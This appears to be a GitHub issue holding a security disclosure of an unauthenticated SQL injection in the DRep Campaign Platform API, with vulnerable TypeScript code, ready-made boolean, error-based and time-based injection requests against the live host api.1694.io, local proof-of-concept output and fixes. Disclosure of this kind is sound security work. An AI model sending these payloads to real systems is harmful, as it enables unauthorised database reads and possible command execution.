IntersectMBO / IntersectMBO/drep-campaign-platform
[Bounty] - Unauthenticated SQL injection in the DRep Campaign Platform API (stakeKey pasted into a raw query)
- Dominant language
- TypeScript
- Stars
- 4
- Forks
- 3
- PR merge metrics
- No merged PRs in 30d
Description
**Received through the security mail**
- **Severity:** Critical
- **CVSS 3.1:** 9.8 — `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
- **CWE:** CWE-89 (SQL Injection)
- **Affected component:** `IntersectMBO/drep-campaign-platform` — `backend/src/voter/voter.service.ts:29`, reachable from three public routes in the `voter`, `note`, and `drep` controllers
- **Live endpoint:** `https://api.1694.io` — the route is served with no authentication (`GET /voters/stake1/delegation` returns `200`)
- **Status:** Confirmed by reading the source and by running the exact query handler against a local Postgres, where the injection fires three ways (boolean, error-based, and time-based). I proved it on a local copy of the same code and did not fire payloads at the production database.
---
## Summary
The backend builds a SQL query by pasting the user-supplied `stakeKey` straight into the query string and running it with no bound parameters. There is no authentication and no input validation in front of it, so anyone can inject SQL through three public endpoints.
Here is the vulnerable line:
```ts
// backend/src/voter/voter.service.ts:29
stake_address.hash_raw = DECODE('${stakeKey}', 'hex')
```
`${stakeKey}` is a JavaScript template literal dropped inside a single-quoted SQL string, and the whole string is handed to `manager.query()` with no values array. TypeORM only escapes input when you pass it a parameter array; with a bare string it sends the query to Postgres untouched, which also means stacked statements work.
Three unauthenticated routes reach this one function:
- `GET /voters/:stakeKey/delegation`
- `GET /notes/all?stakeKeys[stakeKey]=...`
- `GET /dreps/:idOrVoterId/activity?stakeKeys[stakeKey]=...`
The query runs on the `dbsync` connection, which `db.module.ts` configures as the Postgres superuser `postgres` on the `cexplorer` database. So an unauthenticated request controls raw SQL executed by a database superuser.
## Steps to Reproduce
1. Confirm the route is live and needs no authentication:
```http
GET /voters/stake1/delegation HTTP/1.1
Host: api.1694.io
Accept: application/json
```
```http
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
```
2. Inject through the query-string route. The `qs` parser turns `stakeKeys[stakeKey]` into a string with no character restrictions, so quotes, parentheses and comments all go through. The value below decodes to `00','hex') OR 1=1 OR hash_raw=DECODE('`:
```http
GET /notes/all?stakeKeys[stakeKey]=00%27%2C%27hex%27%29%20OR%201%3D1%20OR%20hash_raw%3DDECODE%28%27 HTTP/1.1
Host: api.1694.io
Accept: application/json
```
That rewrites the filter to `... = DECODE('00','hex') OR 1=1 OR hash_raw=DECODE('', 'hex') ...`, which is always true. The trailing `, 'hex')` the code appends is swallowed by reopening `DECODE('...')`, so the statement stays valid.
3. Swap the payload to pull data out or to time the database:
```http
GET /notes/all?stakeKeys[stakeKey]=00%27%2C%27hex%27%29%20OR%20CAST(version()%20AS%20int)%3D1%20OR%20hash_raw%3DDECODE%28%27 HTTP/1.1
Host: api.1694.io
```
(decodes to `00','hex') OR CAST(version() AS int)=1 OR hash_raw=DECODE('` — forces the Postgres version into the error response)
```http
GET /notes/all?stakeKeys[stakeKey]=00%27%2C%27hex%27%29%20OR%20(SELECT%201%20FROM%20pg_sleep(2))%20IS%20NOT%20NULL%20OR%20hash_raw%3DDECODE%28%27 HTTP/1.1
Host: api.1694.io
```
(decodes to `00','hex') OR (SELECT 1 FROM pg_sleep(2)) IS NOT NULL OR hash_raw=DECODE('` — delays the response by 2 seconds)
## Proof of Concept
The handler, copied straight from the repository:
```ts
// backend/src/voter/voter.service.ts:11-37
async getAdaHolderCurrentDelegation(stakeKey: string) {
const delegation = await this.cexplorerService.manager.query(
`SELECT
CASE WHEN drep_hash.raw IS NULL THEN NULL ELSE ENCODE(drep_hash.raw, 'hex') END AS drep_raw,
drep_hash.view AS drep_view,
ENCODE(tx.hash, 'hex')
FROM delegation_vote
JOIN tx ON tx.id = delegation_vote.tx_id
JOIN drep_hash ON drep_hash.id = delegation_vote.drep_hash_id
JOIN stake_address ON stake_address.id = delegation_vote.addr_id
WHERE
stake_address.hash_raw = DECODE('${stakeKey}', 'hex')
AND NOT EXISTS (
SELECT * FROM delegation_vote AS dv2
WHERE dv2.addr_id = delegation_vote.addr_id AND dv2.tx_id > delegation_vote.tx_id
)
LIMIT 1;`,
);
return delegation[0];
}
```
No parameters, no escaping. The three controllers hand `stakeKey` to it untouched, and there is no guard or validation pipe anywhere in the backend — `main.ts` only sets up CORS and body parsing, and a search of the whole `backend/src` for `UseGuards`, `AuthGuard`, `ValidationPipe` etc. comes back empty.
To show the injection actually executes, I rebuilt this exact handler against a local Postgres with the same tables and one delegation row, then sent the payloads from the steps above. Output:
```
[baseline] stakeKey "deadbeef" (valid) -> rows: [{"drep_raw":"aa","drep_view":"drep1_secret_view","encode":"bb"}]
[baseline] stakeKey "00" (no match) -> rows: []
[1] BOOLEAN stakeKey = 00','hex') OR 1=1 OR hash_raw=DECODE('
query becomes: ... DECODE('00','hex') OR 1=1 OR hash_raw=DECODE('', 'hex') ...
rows: [{"drep_raw":"aa","drep_view":"drep1_secret_view","encode":"bb"}] <- a non-matching key now returns data
[2] ERROR-BASED stakeKey = 00','hex') OR CAST(version() AS int)=1 OR hash_raw=DECODE('
response error: invalid input syntax for type integer:
"PostgreSQL 18.3 ... on wasm32-unknown-linux-gnu, 32-bit" <- server version pulled out through the error
[3] TIME-BASED stakeKey = 00','hex') OR (SELECT 1 FROM pg_sleep(2)) IS NOT NULL OR hash_raw=DECODE('
elapsed: 2003 ms (the same query with a normal key returns in 4 ms)
```
All three work: the boolean payload bypasses the row filter, the error payload reads server data back out, and the time payload runs an injected function. I ran this against a local instance of the identical code rather than the live database; the production deployment at `api.1694.io` runs the same handler as the `postgres` superuser, so the same requests return live data there. The script and full output are attached (`poc.mjs`, `poc_output.txt`).
The same file also shows the team knows how to do this safely elsewhere, which is why this is a slip and not a framework default:
```ts
// drep.service.ts:159 — quotes escaped for a different input
const sanitizedSearch = query ? query.replace(/'/g, "''") : '';
// drep.service.ts:935-939 — bound parameter used elsewhere
`SELECT id, view FROM drep_hash WHERE view = $1` // values: [drepVoterId]
```
## Impact
This is an unauthenticated SQL injection running as a Postgres superuser, so the impact is the full range:
- Read any data in the `cexplorer` database (boolean, error-based, UNION and time-based extraction all work, and the query-string input has no character filtering).
- Run stacked statements, so the attacker is not limited to a single read.
- Because the connection is the `postgres` superuser, reach the application's own `1694` database on the same cluster and use superuser features such as `COPY ... TO/FROM PROGRAM` to run commands on the database host.
No login, token, or user interaction is needed, and all three routes are equally exploitable.
## Suggested Mitigations
- Use a bound parameter for `stakeKey` instead of string interpolation, the same way the project already does at `drep.service.ts:935-939`: `WHERE stake_address.hash_raw = DECODE($1, 'hex')` with `[stakeKey]` passed as the values array.
- Validate `stakeKey` as hex (for example `^[0-9a-fA-F]{1,128}$`) with a DTO or pipe and reject anything else, and add a global `ValidationPipe` in `main.ts`.
- Run the `dbsync`/`cexplorer` connection as a read-only, least-privilege role instead of `postgres`.
- Grep the codebase for other `manager.query(` calls that build SQL with `${...}` and fix them the same way.
Contributor guide
Research direction
Start with backend/src/voter/voter.service.ts:29 and trace the three routes in the voter, note, and drep controllers. Compare the vulnerable manager.query() call with the parameterized query at drep.service.ts:935-939, then inspect main.ts and db.module.ts for the reported validation and database-role concerns. Done means the public inputs cannot alter SQL and the affected routes still return their intended results.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- postgresql, typescript
- Domain
- api, backend, databases, security
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Quiet
- Clarity
- Clearly specified
- Newbie friendliness
- 32/100